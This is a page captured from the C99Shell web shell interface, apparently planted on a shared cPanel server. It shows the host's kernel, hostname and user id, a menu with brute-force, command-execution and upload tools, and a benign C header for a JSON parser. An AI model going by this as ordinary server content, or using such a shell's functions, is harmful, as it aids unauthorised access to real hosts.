!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/etc/mail/spamassassin/CMAE-SA_bak/example/C/   drwxr-xr-x
Free 203.58 GB of 981.82 GB (20.74%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     json_parser.h (2.68 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*
 * File: json_parser.h
 *
 * The data routines and data structures here constitue a very
 * simple parser that will parse a JSON string into a tree of
 * of structs, each struct representing an fundamental JSON type.
 *  
 */
#ifndef __JSON_PARSER_H__
#define __JSON_PARSER_H__

#include <stddef.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

/*
 * JSON Types.
 *
 * This enum is used to identify the primative JSON
 * type represented by a JSON_Value_t 
 */
typedef enum
{
    JSON_TYPE_NULL,
    JSON_TYPE_STRING,
    JSON_TYPE_NUMBER,
    JSON_TYPE_BOOL,
    JSON_TYPE_OBJECT,
    JSON_TYPE_ARRAY,
    JSON_TYPE_ERROR
}JSON_Type;

struct JSON_Object;
struct JSON_Array;

/*
 * A JSON Value.
 *
 * A JSON value can be an object, an array, a string, a number, a boolean
 * or a NULL. This structure wraps all of those into a union.
 */
typedef struct
{
    JSON_Type   type;                   /* Indicates the type of value */
    union {
        char                *string;    /* The value of a string */
        float               number;     /* The value of a number */
        struct JSON_Object  *obj;       /* The value of a object */
        struct JSON_Array   *array;     /* The value of a array */
    } u;
}JSON_Value_t;

/*
 * A JSON Pair.
 *
 * A Pair is a name-value structure. It is not actally a JSON type
 * but rather is a constituent of an JSON_Object_t
 */
typedef struct
{
    char          *name;    /* The name field. */
    JSON_Value_t  *value;   /* The value field. */
}JSON_Pair_t;

/*
 * A JSON Object.
 *
 * An object is implelemented as a array of N-V Pairs
 */
typedef struct JSON_Object
{
    JSON_Pair_t     **pairs;    /* The Array of Pairs */
    size_t          num_pairs;  /* The size of the Array */
}JSON_Object_t;

/*
 * A JSON Array.
 *
 * An Array is implemented as a list of values.
 */
typedef struct JSON_Array
{
    JSON_Value_t    **values;   /* The array of values */
    size_t          num_values; /* The size of the Array */
}JSON_Array_t;

/*
 * Parse a string into a JSON Object.
 */
JSON_Object_t *ParseJSONObject(char **strptr);

/*
 * Free a JSON Object.
 */
void FreeJSONObject(JSON_Object_t *obj);

/*
 * Format and output a JSON object.
 */
void DisplayJSONObject(FILE *f, JSON_Object_t *obj);

/*
 * Format and output a JSON value.
 */
void DisplayJSONValue(FILE* f, JSON_Value_t *v);

/*
 * Find a specific value in an object.
 */
JSON_Value_t *Find(JSON_Object_t *obj, char *name);


/*
 * Return a specified JSON pair from an object.
 */
JSON_Pair_t *GetPairFromObject(JSON_Object_t *obj, unsigned idx);

/*
 * Return a specified JSON value from an array.
 */
JSON_Value_t *GetValueFromArray(JSON_Array_t *arr, unsigned idx);

#endif // __JSON_PARSER_H__


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.1627 ]--